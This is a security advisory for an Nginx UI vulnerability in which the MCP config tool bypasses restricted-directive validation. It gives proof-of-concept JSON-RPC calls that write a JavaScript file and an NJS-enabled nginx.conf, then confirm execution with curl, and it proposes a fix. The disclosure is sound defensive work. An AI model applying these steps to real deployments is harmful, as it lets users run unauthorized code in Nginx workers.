CVE-2026-84319: Nginx UI: MCP configuration tools bypass restricted directive validation and allow secondary authenticated users to execute NJS in Nginx worker context

Summary

The regular HTTP configuration API rejects restricted Nginx directives such as loadmodule, jsimport, and jscontent.

However, the MCP configuration interface allows a secondary authenticated user to write and apply equivalent restricted configuration content. In the lab, this allowed the user to load ngxhttpjsmodule.so, import attacker-controlled JavaScript, reload Nginx, and execute NJS in the Nginx worker context.

This is authenticated and is not OS command execution by itself.

Affected component

- /mcp - /mcpmessage - MCP tool: nginxconfigadd - Nginx configuration validation

Impact

A secondary authenticated user can bypass the restricted directive validation enforced by the HTTP API and execute attacker-controlled NJS inside the Nginx worker context.

This may allow modification of Nginx runtime behavior, including responses, routing, headers, redirects, and request handling.

Minimal PoC

Preconditions

- Attacker has a secondary authenticated Nginx UI account. - MCP is enabled. - Nginx has NJS available:

bash find / -name "ngxhttpjsmodule.so" 2>/dev/null

Observed in the lab:

text /usr/lib/nginx/modules/ngxhttpjsmodule.so

1. HTTP API blocks the restricted config

Request:

http POST /api/configs Authorization: <SECONDARYUSERJWT> Content-Type: application/json

Body:

json { "name": "nginx.conf", "basedir": "", "overwrite": true, "syncnodeids": [], "content": "loadmodule modules/ngxhttpjsmodule.so;\n\nuser nginx;\nworkerprocesses auto;\n\nevents { workerconnections 1024; }\n\nhttp {\n jsimport poc from /etc/nginx/poc.js;\n server {\n listen 127.0.0.1:18249;\n location /poc { jscontent poc.handler; }\n }\n}\n" }

Observed result:

text Rejected because the content contains restricted directives such as loadmodule/jsimport/jscontent.

2. MCP writes the JavaScript file

Open an MCP session and call tools/call with:

json { "jsonrpc": "2.0", "id": 1, "method": "tools/call", "params": { "name": "nginxconfigadd", "arguments": { "name": "poc.js", "basedir": "", "overwrite": true, "syncnodeids": [], "content": "function handler(r) { r.return(200, \"MCPNJSMARKER\\n\"); }\nexport default { handler };\n" } } }

3. MCP writes the NJS-enabled nginx.conf

Call tools/call again:

json { "jsonrpc": "2.0", "id": 2, "method": "tools/call", "params": { "name": "nginxconfigadd", "arguments": { "name": "nginx.conf", "basedir": "", "overwrite": true, "syncnodeids": [], "content": "loadmodule modules/ngxhttpjsmodule.so;\n\nuser nginx;\nworkerprocesses auto;\n\nerrorlog /var/log/nginx/error.log notice;\npid /run/nginx.pid;\n\nevents { workerconnections 1024; }\n\nhttp {\n defaulttype application/octet-stream;\n jsimport poc from /etc/nginx/poc.js;\n server {\n listen 127.0.0.1:18249;\n location /poc { jscontent poc.handler; }\n }\n}\n" } } }

4. Verify NJS execution

Inside the Nginx UI container:

bash curl -i http://127.0.0.1:18249/poc

Observed response:

http HTTP/1.1 200 OK

MCPNJSMARKER

This confirms that content rejected by the HTTP API can be applied through MCP and executed as NJS in the Nginx worker context.

Expected behavior

MCP configuration tools should enforce the same restricted directive validation as the HTTP API.

Suggested fix

Apply ValidateConfigFile(path, content) before MCP configuration writes and ensure HTTP API and MCP share the same validation tests for restricted directives such as:

- loadmodule - jsimport - jscontent - jsset - perlset - user root